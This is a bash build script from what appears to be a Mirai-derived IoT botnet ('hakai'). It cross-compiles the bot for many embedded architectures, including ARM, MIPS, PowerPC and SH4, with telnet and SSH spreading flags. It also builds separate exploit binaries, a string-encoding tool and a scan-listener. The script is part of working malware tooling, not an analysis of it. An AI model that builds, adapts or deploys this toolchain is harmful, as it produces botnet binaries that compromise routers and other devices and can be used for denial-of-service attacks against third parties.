#!/bin/bash
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/armv7l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/arc/bin
export PATH=$PATH:/etc/xcompile/x86_64/bin
FLAGS="-DREKAI_TELNET -DMIRAI_SSH"

function compile_bot {
    "$1-gcc" $3 b/*.c -static -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\"
    "$1-strip" release/"$2" -S 
}
function compile_exploits {
    "$1-gcc" -DREKAI_TELNET -o release/"$2" b/*.c
}
function compile_debug {
    "$1-gcc" -DREKAI_TELNET -o debug/"$2" b/*.c
}
if [ $# == 0 ]; then
    echo "Usage: $0 <debug | release>"
elif [ "$1" == "release" ]; then
    rm release/*
	compile_bot i586 x86 -DARCH_X86_64
    compile_bot mips mips -DARCH_MIPS
    compile_bot mipsel mpsl -DARCH_MIPSEL
    compile_bot armv4l arm4 -DARCH_ARM
    compile_bot armv5l arm  -DARCH_ARM
    compile_bot armv6l arm6 -DARCH_ARM
	compile_bot armv7l arm7 -DARCH_ARM7
    compile_bot powerpc ppc -DARCH_POWERPC
    compile_bot sparc spc -DARCH_SPC
    compile_bot m68k m68k 
    compile_bot sh4 sh4 
	compile_exploits i586 x86_32 
	compile_exploits x86_64 x86_64 -DARCH_X86_64
	compile_exploits mips h.hua -DARCH_MIPS
	compile_exploits armv4l ea4 -DARCH_ARM
	compile_exploits armv7l ea7 -DARCH_ARM7
	compile_exploits mipsel lsys -DARCH_MIPSEL
elif [ "$1" == "debug" ]; then
    mkdir debug
	mkdir release
	gcc -std=c99 tools/enc.c -g -o debug/enc
	gcc tools/convert.c -o debug/conv
	go build -o scanListen tools/scanListen.go
	gcc b/*.c -DDEBUG -DDESCAN -DARCH_X86_64 -static -g -o debug/hakai.dbg
else
    echo "Unknown parameter $1: $0 <debug | release>"
fi
